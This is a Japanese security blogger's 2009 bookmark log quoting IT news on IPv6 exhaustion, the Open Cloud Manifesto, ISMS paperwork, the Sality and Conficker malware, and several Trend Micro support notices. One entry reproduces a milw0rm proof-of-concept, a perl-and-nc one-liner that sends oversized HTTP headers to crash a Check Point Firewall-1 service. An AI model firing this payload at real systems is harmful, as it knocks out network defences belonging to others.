NECフィールディングは3月30日、クライアントPCのセキュリティ管理製品の最新版「iQQsam」を発売した。

 同製品では、ソリトンシステムズのPC資産・ログ管理ツール「InfoTrace-OnDemand」と新たに連携し、管理対象となるPCのセキュリティ状況と資産状況を一元管理できるようになる。PCの操作ログによる利用状況や、PCのハードウェアおよびソフトウェア資産の導入状況、遊休PCや遊休ソフトウェアの状況を把握できるようになる。

NECフィールディング、PC資産管理でソリトンと連携 - ITmedia エンタープライズ

screenshot

MicrosoftとAmazonは不参加:IBM、Sun、Ciscoなど38団体が「Open Cloud Manifesto」公開 - ITmedia エンタープライズ(情報元のブックマーク数)

IBMやSUN、Ciscoなど38団体がOpen Cloud Manifestoというのを公開したとのこと。

ただ、GoogleMicrosoftAmazonが入っていないということで第2陣、第3陣の足並みそろえみたいだ。

この文書は、クラウドコンピューティングという新しい技術の原則について、コミュニティーで検討するきっかけを提供する目的で公開したという。クラウドコンピューティングの定義、現在の問題点、目的について記されており、「クラウドは可能な限りオープンでなければならない」と結論付けている。

 Open Cloud Manifestoを支持する企業および組織としては、IBM、Sun、Cisco、SAP、OMGなどを含む38団体が名を連ねているが、クラウドサービスを提供する大手のAmazonMicrosoftの名前はない。

IBM、Sun、Ciscoなど38団体が「Open Cloud Manifesto」公開 - ITmedia エンタープライズ

screenshot

IPv6で進むインターネットの未来:企業IT部門の変革を支援するエンタープライズ実践情報サイト EnterpriseZine(情報元のブックマーク数)

次回まっちゃ445の講師をしていただく、Matz(松崎さん)の記事、マニラでのAPRICOT2009のレポートですが、やっぱりIPv4枯渇とIPv6の話だったそうです。

今回もIPv4アドレスの在庫枯渇、そしてIPv6は大きなトピックで、プログラムの半分以上は何らかIPv6に関係する内容でした。

 各発表者からIPv4アドレスの在庫枯渇時のネットワークサービスや、IPv6の導入について報告がありました。私もIIJにおけるIPv6導入について、その歴史や現状、課題などを報告してきました。

IPv6で進むインターネットの未来 (1/3):EnterpriseZine(エンタープライズジン)

IPv4IPアドレス同士の移転か、ルーティングや併存時の影響まで色々影響が出てきそうですが、基本合意ってことで今後に期待だそうです。

今回の大きな議題はIPv4アドレスの移転です。これまで組織間でのIPアドレスの移転は認められていませんでした。しかし今後IPv4アドレスの在庫枯渇が見込まれるので、IPv4アドレスが余っている組織から必要としている組織に直接移転が行えるようにしようという提案です。
様々な弊害は予想されますが、それでもまだIPv4アドレスは必要であり、何らか確保できる手段を用意しておきたいという意見は多く、このポリシーは一応の合意を得ました。
しかし移転の条件についてまだ異論があるので、実際に移転が行えるようになるまでは、まだ時間がかかると予想しています。

IPv6で進むインターネットの未来 (1/3):EnterpriseZine(エンタープライズジン)

LSNの話ですね(旧キャリアグレードNAT)

実装はいくつかアイディアがありますが、基本的にはひとつのIPv4アドレスを複数のユーザで共有する方式が検討されています。この方式を主に家庭でのインターネットユーザを対象として適用し、IPv4アドレスの節約をはかろうというのです。
例えば、現状では大抵の場合、家庭のネットワークはインターネットに接続するとISPからグローバルなIPv4アドレスがひとつ付与されます。それをブロードバンドルータのNAT機能を利用して家庭内で共有し、パソコンやゲーム等、複数の機器でインターネットを利用できるようにしています。
この共有をもっと押し進め、ISP側で巨大なNATを行うことでIPv4アドレスを節約する方式等が提案されているのです。
実はこれらの方式には弊害もあります。インターネットを利用した対戦ゲームや音声通話、VPN、家庭でのサーバ運用等、アプリケーションの作りによっては今までできていたことができなくなる可能性もあるのです。

IPv6で進むインターネットの未来 (2/3):EnterpriseZine(エンタープライズジン)

センサネットワークなどの構築にはIPv6が必要になったりしますね(自動Configは嬉しいですし)

面白いことに、ある組織では管理する機器が多すぎるという理由で組織内をIPv6に対応しようと考えています。IPv4のプライベート空間ではアドレス数が足りないというのです。
大量の機器に直接通信できる環境をIPv6で作れば、管理を簡単にできて運用も楽になると考えているそうです。そこまでの規模がない組織でも、今後IPv6の影響は受けるでしょう。インターネットが変化しているので、それぞれの組織でも何らかIPv6への対応が必要となるのです。

IPv6で進むインターネットの未来 (3/3):EnterpriseZine(エンタープライズジン)

IPv4は、あと10年は無くならないでしょうが、サービスレベルはどんどん落ちて行くでしょうね。(NetNewsの対応みたいに)

今後の技術IPv6に力を入れて、創造的にあたらしいキラーアプリを作ってほしい、インフラはそう思いますよねぇ。

今後、IPv4のサービスはかなりの期間続くでしょうが、その複雑さは増し、利用にも運用にも制限が増えてくると考えられます。みんながIPv4に関われば関わるほど、この制限は大きくなります。そしてインターネットはつまらなくなり、その利便性も損なわれていくのです。
 できれば世の中の能力はもっと創造的な分野で頑張って欲しいと考えています。技術者だって、夢のある楽しい技術の方が触っててやる気がでるでしょ。なるべく早くみんなでIPv6の導入を済ませ、夢のあるインターネットが発展し続ければ良いなと考えています。

IPv6で進むインターネットの未来 (3/3):EnterpriseZine(エンタープライズジン)

screenshot

「守れない」「ねつ造」「無駄な業務」---分厚いドキュメントの功罪:三輪信雄「ここが変だよみんなの対策」(情報元のブックマーク数)

ISMS取得コンサルと、結果の分厚いバインダ・・・・そしてそのバインダーで苦しめられる現場のスタッフ・・・・

ISMSを維持するだけの組織と、PCDAによるセキュリティのスパイラルダウン、形だけのPDCAサイクル、くるっと360度戻ってくるPDCAサイクル、色々ありますよねw>さすが三輪節、書きすぎたw

ISMS認証に限らずプライバシーマークなどの認証を取得しようとすると、多くの場合コンサルタントが雇われます。もちろん、そのコンサルタントに課せられた使命は「認証取得させること」です。そこが問題だったのです。審査に合格しなければならないので、過剰に規程を策定したり、情報セキュリティ対策が運用されているエビデンス(証拠)を準備しようとします。コンサルタントは、コンサルタント料をもらうために、金額に応じた「分厚いバインダー」を積んで帰ります。一説には500万円で分厚いバインダー1冊とも言われています。
認証取得を依頼した企業は、その過剰とも言えるコンサルタントの業務を見て「さすがプロ」と感心したりするのです。そして、その分厚い規程を徹底させるための教育が行われます。社員にはさまざまな負荷が増えます。でも、「セキュリティはこれくらいやらなきゃ」くらいの気持ちで真面目に取り組みます。

「守れない」「ねつ造」「無駄な業務」---分厚いドキュメントの功罪 | 日経 xTECH(クロステック)

ルール通りになっていたとねつ造、バックデートの粗油人・・・・

審査の更新時期が近づいてくると、慌てて「ねつ造作業」が始まるのです。私も複数の企業で審査対応のための管理簿の「作成業務」を見たことがあります。審査に受かるためだから、そういう規定があるから、と本末転倒なことが行われている現場も少なからずあるのです。
本来、どれだけきちんと運用されているかが意味を持つのです。守れもしない膨大なドキュメントは単なる無駄でしかなく、結局は守られない習慣が当たり前のようにできてしまうのです。

「守れない」「ねつ造」「無駄な業務」---分厚いドキュメントの功罪(2ページ目) | 日経 xTECH(クロステック)

前職ではISMSを辞めよう!論をしたのですが、トップがNGを出しましたね。

そうはいっても、一度ISMSプライバシーマークの認証を取得してしまうと、なかなかそれを捨てることはできないものです。情報セキュリティを放棄してしまったようで、このご時世では「危ない会社」と言われかねません。

「守れない」「ねつ造」「無駄な業務」---分厚いドキュメントの功罪(2ページ目) | 日経 xTECH(クロステック)

今後セキュリティ運用のサービスってありえますねぇ。

今後は作業の軽減だけでなく、情報セキュリティに関わる業務そのものをパッケージ化した商品が出るのではないか、と考えています。「情報セキュリティ業務パッケージ」のようなパッケージ商品は私の知る限りではまだありませんが、標準的で抜けのない業務であればパッケージ化して、セキュリティ品質の維持とコスト削減が実現できるかもしれませんね。

「守れない」「ねつ造」「無駄な業務」---分厚いドキュメントの功罪(2ページ目) | 日経 xTECH(クロステック)

screenshot

「メモ帳」を改ざんし,リムーバブル・ドライブ経由で感染するウイルス:ITpro(情報元のブックマーク数)

昨今は、メモ帳やマインスイーパに寄生するUSBドライブ経由で感染するウイルスが出ているそうです。

感染手法を取り入れた寄生型ウイルスとして,「W32/Sality」と「W32/Virut」の2種類がある。両ウイルスには,さまざまな亜種が存在する。W32/Salityの感染は,リムーバブル・ドライブ経由で広がる。ユーザーがW32/Sality感染済みパソコンにリムーバブル・ドライブを接続すると,パソコン内の「メモ帳(notepad.exe)」か「マインスイーパ(winmine.exe)」にW32/Salityが入り込み,これらファイルがリムーバブル・ドライブへコピーされる。W32/Sality入りnotepad.exeとwinmine.exeは,ランダムな文字列と「.pif」または「.scr」という拡張子を組み合わせた新たなファイル名に変更される。さらに,難読化したautorun.infもペアで作られる。以下にW32/Salityの一部コードとペアのautorun.infを掲載しておく。

「メモ帳」を改ざんし,リムーバブル・ドライブ経由で感染するウイルス | 日経 xTECH(クロステック)

screenshot

「北朝鮮、「迎撃なら軍事で粉砕」と警告」 News i - TBSの動画ニュースサイト(情報元のブックマーク数)

その前にミサイルを撃ってくる時点で攻撃行為だろ。。。。。ミサイルか人工衛星かはっきりさせろちゅーに、こわいちゅーに。

北朝鮮のミサイル発射に備えた日本の迎撃準備について、北朝鮮の国営通信は、「日本が迎撃すればそれを再侵略とみなし、強力な軍事的手段によって粉砕する」と警告しました。

http://news.tbs.co.jp/newseye/tbs_newseye4096110.html

screenshot

Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow(情報元のブックマーク数)

FireWall-1のPKI Web Serviceというのに脆弱性が存在して長いHTTPヘッダによってオーバーフローが発生するとのこと。

  • Description The Check Point Firewall-1 PKI Web Service, running by default on TCP port 18264, is vulnerable to a remote overflow in the handling of very long HTTP headers. This was discovered during a pen-test where the client would not allow further analysis and would not provide the full product/version info. Initial testing indicates the 'Authorization' and 'Referer' headers were vulnerable.
http://www.milw0rm.com/exploits/8313

ちょっ!このPoC、DoSじゃねーかwww

PoC

perl -e 'print "GET / HTTP/1.0\r\nAuthorization: Basic" . "x" x 8192 .
"\r\nFrom: bugs@hugs.com\r\nIf-Modified-Since: Fri, 13 Dec 2006
09:12:58 GMT\r\nReferer: http://www.owasp.org/" . "x" x 8192 .
"\r\nUserAgent: FsckResponsibleDisclosure 1.0\r\n\r\n"' | nc
suckit.com 18264

http://www.milw0rm.com/exploits/8313

screenshot

Trend Micro Internet Security Pro 2009 Priviliege Escalation PoC(情報元のブックマーク数)

ウイルスバスター2009のtmactmon.sysドライバのIOCTLハンドラ部分に権限上昇する脆弱性が存在とのこと。

The vulnerability is caused due to the IOCTL handler of the "tmactmon.sys" driver improperly processing user space parameters. This exploit execute arbitrary code in kernel space via a specially crafted IOCTL.

http://www.milw0rm.com/exploits/8322

screenshot

「買うより安いリース」、EMCが無料アセスメント開始 − @IT(情報元のブックマーク数)

EMCがEMC製品のアセスメントサービスを無償で提供して、EMC製品のレンタルプログラムを開始とのこと。

EMCジャパンは3月31日、「ITインフラのTCOアセスメント・サービス」を開始すると発表した。4月1日から、中小規模から大規模まで、企業ユーザーを対象に無料で提供する。これまでEMC製品導入予定の企業に個別に行ってきたアセスメントサービスを無償のメニューとすることで、TCO削減につながる機器レンタルの潜在需要を掘り起こしたい考えだ。アセスメントは、現状のコスト試算と削減計画の立案を1週間程度で行うもので、EMCのレンタルプログラムを提案する。

「買うより安いリース」、EMCが無料アセスメント開始:経済環境悪化、法改正に適したサービスで攻勢 - @IT

へぇーレンタル終了後再生して再販ですか。これは面白いなぁ

EMCではレンタル期間満了後の製品をアイルランドで一括して再生処理し、グローバルマーケットで再販している。日本国内の市場だけでは難しい二次市場の販路を確保できるグローバル企業としての強みだ。導入するユーザー企業にとっては「買うより安いリース」(EMC)というのもメリットだ。

「買うより安いリース」、EMCが無料アセスメント開始:経済環境悪化、法改正に適したサービスで攻勢 - @IT

screenshot

角谷信太郎――「スーパーマンである必要はない」 − @IT自分戦略研究所(情報元のブックマーク数)

昨今の開発スタイル。最近のを見ていないので勉強になる

Javaで開発していたころは5人から10人くらいのチームが多かったのですが、現在は2人から4人くらいの小規模チームで開発することが多くなりました。Rubyだとこの規模でも、1〜2週間のサイクルでお客さまに対して、目に見える形で成果を出せます。コミュニケーションの面でこれはとても強力です。
チーム開発では「個人差が大きい」という当り前のことを忘れないように気を付けています。Rubyの場合は特にそうなのですが、各自のスキルの差が顕著にプログラムに反映されます。そのため、個々人のスキルの把握を常に心がけています。

角谷信太郎――「スーパーマンである必要はない」 − @IT自分戦略研究所

個人的には同じ大阪、京都の人としてお会いしたいですね。

角谷信太郎(かくたにしんたろう) 永和システムマネジメント サービスプロバイディング事業部 チーフプログラマ 1975年2月19日、大阪府出身。1998年 立命館大学法学部卒業。「『楽しさ』がシステム開発の生産性を左右する」と信じて、アジャイル開発を現場で実践するテスト駆動開発者。日本Rubyの会の理事を務め、日本最大級のRubyカンファレンス「RubyKaigi」の運営に携わっている。

角谷信太郎――「スーパーマンである必要はない」 − @IT自分戦略研究所

人を信じて、人の学びを尊重する、人間関係これが一番大事ですね。

これは普段の仕事でも同じかもしれません。基本は「相手を信頼する」こと。あの人にこれを依頼したら、きっとやってくれるんじゃないか。あの人はきっとこういうことには前向きに取り組んでくれるんじゃないか。あの人はこれをやったことはないけど、任せたらきっとうまくやってくれる。そんなふうに考えて、種をまくイメージです。

 繰り返しになりますが、重要なのは「人は学べる」という前提を信じられるかどうか。任せたら、信じる。「任せたんだから、自分の期待する成果と同じものを出せ」というのは間違っているけれど、思ったよりひどいことにはならないものですよ。

角谷信太郎――「スーパーマンである必要はない」 − @IT自分戦略研究所

screenshot

学習機能を無効にする:IME即効テクニック(情報元のブックマーク数)

ほぉ、人に貸す時、借りるときはIMEの学習機能を無効化してから使うのもマナーですか!!!!ふむふむ。

したがって、人のパソコンを借りて日本語を入力する際には、自分の使い方が、MS-IMEMS-IME 2007の成長にいくらかの影響を与えることになる。それを避けるなら、学習機能を無効にしてから利用を開始するのも一つのマナーだ(あるいは、人に貸すときに無効にしてから貸すのも一つのテクニックだ)。

 使い方を学習されることが、パソコンを借りる側にとって好ましくないケースもある。特に不特定多数のユーザーが利用するパソコンで、メールアドレスや氏名などの個人情報、IDやパスワードを入力する場合は、その痕跡を残さないために学習機能は無効にした方が安全だ。その際には、第11回の「予測入力をカスタマイズする」で紹介したように、入力履歴も消去した方がよい(MS-IME 2007の場合)。

学習機能を無効にする | 日経 xTECH(クロステック)

screenshot

asahi.com(朝日新聞社):岡山市、1日から政令指定都市に 全国で18番目 - 社会(情報元のブックマーク数)

ぉーーー岡山市政令指定都市ですか!

岡山市が1日、全国で18番目の政令指定都市に移行する。人口は約70万人で指定市としては全国最小規模だが、都道府県並みの権限を持つ基礎自治体となる。

 移行とともに岡山市内には北、中、東、南の4区が誕生。直轄国道を除く国県道の整備管理、児童相談所の設置運営、教員採用など1572項目の事務を県から引き継ぐ。財政面では直轄国道の建設負担金などで歳出が増える一方、宝くじ事業収入などの新財源が加わる見通し。

http://www.asahi.com/national/update/0331/OSK200903310083.html?ref=rss

screenshot

セキュリティトークン | レリック日記(情報元のブックマーク数)

なんか、物議をかもしだしていますね、セキュリティトークン。

PlayOnline Headlines
販売開始日 : 2009年4月7日(火)
価格 : 980円(消費税・送料込)
購入方法 : プレイオンラインビューアー上で購入手続き・決済が可能です。
「モグサッチェル」をプレゼントいたします。
「モグサッチェル」とは、モグハウスに限らずいつでもどこでもカバン内のアイテムと出し入れ可能な追加のストレージで、収納可能なアイテム数は最大80個(※2)です。

セキュリティトークン - スポンサー広告FFニュース

screenshot

ServerProtect (Windows版) 用Critical Patch公開のお知らせ:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

ITdesignのブログ:ServerProtectのCriticalPatchでてます - livedoor Blog(ブログ)経由)

ちょっ!!!一般サーバがインフォメーションサーバのアドレスとホスト名情報を変更できるんですか・・・・・

ServerProtect for Windows/NetWare 5.58 ならびに ServerProtect for Windows 5.7用Critical Patchの公開をお知らせします。
■公開日
2009/03/31
■修正内容
以下の製品において確認された、一般サーバが所有するインフォメーションサーバの アドレスおよびホスト名の情報を変更できる問題の修正に対応いたします。


問題の詳細と、各製品に対応する修正モジュールのビルドについては、以下の製品Q&Aをご参照ください。

サポート情報 | トレンドマイクロ

screenshot

「WORM_DOWNAD」(ダウンアド)ファミリ発症日:2009年4月1日を控えたセキュリティ対策確認に関する注意喚起:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

ってことで、TrendmicroからConfickerに関するサポート情報が出ていました!

何故この時期が危ないのか

 ダウンアドファミリに分類される亜種「WORM_DOWNAD.KK」(別名:「W32.Downadup.KK」、「Win32/Conficker.C」)において、2009年4月1日付けでダウンロード活動を開始する振る舞いが含まれていることを特定しています。

 これまでもダウンアドは自身にドメイン生成機能を有し、他のコンピュータに対し追加機能を提供してきています。特に亜種である「WORM_DOWNAD.KK」はドメイン生成能力が強化され、5万種程度のドメインを生成し、P2P(ピアツーピア)通信技術を応用した仕組みによって、ダウンロードした追加機能を感染コンピュータ間で共有することを可能にしています。

 感染コンピュータ間で共有する機能を有しているため、自衛策を施していないコンピュータがネットワークに接続していることで、感染により攻撃者に荷担することとなります。すなわち、被害者自身が加害者の一人となりうる危険性があります。

 このため、発症日が特定されているこの時期に、インターネットを含むネットワークに参加する一人一人が主体的に自衛策を事前に施しておくことが求められています。

サポート情報 | トレンドマイクロ

screenshot

InterScan Messaging Hosted Security Webポータル上における不具合のご報告:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

ポータルの表示がおかしかった模様。それにしても6日間放置はヒドイ。(土日挟んでたとしても

■発生期間
2009年03月20日(金) 19時30分頃 〜 2009年03月26日(木) 16時30分頃

■現象/原因

現象 原因
以下のメニューから隔離メールに対してクエリ(検索)が行なえない。
・[隔離]-[クエリ]
ネットワーク通信上の不具合により、隔離メールに対してクエリを実行するサーバへ、クエリ要求が送れないために本現象が発生しておりました。
以下のメニューが表示されない。
・[IPレピュテーション]-[Approved/Blocked]
・[ヘルプ]-[Release History]
Webポータル上のメニューを管理しているサーバにおいて不具合が発生していたため、本現象が発生しておりました。
サポート情報 | トレンドマイクロ

これは、よかった・・・・6日間も気づかないなんて・・・・再発防止はどうなってんだ!

※現在はメンテナンスを完了し、本現象は復旧しております。
※この間、InterScan Messaging Hosted Security によるメール処理に影響はありません。

サポート情報 | トレンドマイクロ

screenshot

スパイウェア検索エンジン 6.2 公開のお知らせ:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

Conficker対応と思われるスパイウエア検索エンジンアップデートが出ています。

スパイウェア検索エンジン 6.2 の公開に関して以下のとおり詳細をご案内いたします。
■新機能・修正点

  • Autorun.inf記載ファイルに対するデジタル署名チェック機能を実装
    誤警告防止に効果を発揮します
  • 不正ファイル削除機能を強化
    通常ファイルの処理能力向上に加えて、ルートキット対策ドライバとの連携を強化し
    ロックされたファイルへの処理能力も向上しました
  • ファイルパスのハンドリング能力改善
サポート情報 | トレンドマイクロ

screenshot

Trend Micro Client/Server Security 2.0サポート終了に伴う 後継製品へのアップグレードのお願い:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

Trend Micro Client/Server Security 2.0のサポート終了が今月末なので、アップデートしてくれ!というアナウンスだそうです。

Trend Micro Client/Server Security 2.0 のサポートサービスを2009年03月31日をもちまして終了いたします。
本製品を使用しているお客様は、後継製品へアップグレードしていただきまようお願いいたします。

サポート情報 | トレンドマイクロ

ビジネスセキュリティが後継製品だそうです。

■アップグレード可能な後継製品
Trend Micro Client/Server Security」から製品名が変更されています。

サポート情報 | トレンドマイクロ

screenshot

InterScan Messaging Hosted Security においてメールの配送処理に遅延が生じた現象のご報告:サポート情報 : トレンドマイクロ(情報元のブックマーク数)

InterScan Messaging Hosted Securityでメール配送遅延が発生していたそうです。

さすがにサービス1時間で復旧したそうです。

InterScan Messaging Hosted Security においてメールの配送処理に遅れが生じる現象が発生しておりました。
■対象サービス
InterScan Messaging Hosted Security

■発生期間
2009年03月18日(水) 08時00分頃 〜 2009年03月18日(水) 09時00分頃

■原因
InterScan Messaging Hosted Securityを管理しているデータセンターにおいて、ネットワークの不具合が発生したため本現象が発生しておりました。

サポート情報 | トレンドマイクロ

screenshot